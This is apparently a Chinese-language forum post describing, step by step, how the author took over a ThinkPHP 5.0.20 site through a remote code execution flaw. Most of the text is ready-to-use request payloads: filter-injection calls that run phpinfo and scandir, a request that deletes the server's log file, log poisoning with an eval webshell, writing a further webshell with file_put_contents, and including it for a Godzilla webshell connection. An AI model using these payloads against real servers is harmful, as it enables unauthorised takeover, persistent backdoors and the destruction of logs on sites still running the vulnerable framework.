环境说明
- 框架结构:Thinkphp5.0.20
- 容器版本:Nginx
- 脚本解析器版本:PHP5.6
第一步:判断是否存在代码执行
构造数据包:post:/?s=index/index
data:_method=__construct&method=get&filter[]=phpinfo&get[]=-1
出现phpinfo,代表漏洞存在,且网站路径为/www/wwwroot/0.0.0.0/
第二步:利用日志文件包含Getshell
发现php代码执行函数都被禁用了,且该网站所有路径权限都不足,只有runtime目录可以写入文件,于是乎尝试日志包含
- 利用scandir查看网站目录结构
**_method=__construct&method=GET&filter[]=scandir&filter[]=var_dump&get[]=/www/wwwroot/0.0.0.0/
找到日志目录:/www/wwwroot/0.0.0.0/runtime/log/202205/20.log
- 将一句话写入日志中
**_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['a'])?>
尝试连接,发现失败。。。mmp的,本地测试了下,发现读取日志文件的一句话是读取的第一次写入的,于是乎想办法删除日志文件,利用unlink函数删除log文件
**/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=unlink&vars[1][]=/www/wwwroot/0.0.0.0/runtime/log/202205/20.log
查看发现删除日志成功
然后再次写入一句话,并尝试执行phpinfo
**_method=__construct&method=GET&filter[]=think\__include_file&server[]=phpinfo&get[]=/www/wwwroot/0.0.0.0/runtime/log/202205/20.log&a=phpinfo();
成功!
- 写入哥斯拉文件
**/index/index/login.html/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=/www/wwwroot/0.0.0.0/runtime/666.log&vars[1][]=<?php eval($_POST["1234"]);?>
查看发现写入成功
- 引入666.log进行文件包含
**_method=__construct&method=GET&filter[]=think\__include_file&server[]=phpinfo&get[]=/www/wwwroot/0.0.0.0/runtime/log/202205/20.log&a=include(/www/wwwroot/0.0.0.0/runtime/666.log");
- 哥斯拉连接
请求配置追加参数
**_method=__construct&method=GET&filter[]=think\__include_file&server[]=phpinfo&get[]=/www/wwwroot/0.0.0.0/runtime/log/202205/20.log&a=include(”/www/wwwroot/0.0.0.0/runtime/666.log");&
成功拿下
没有回复内容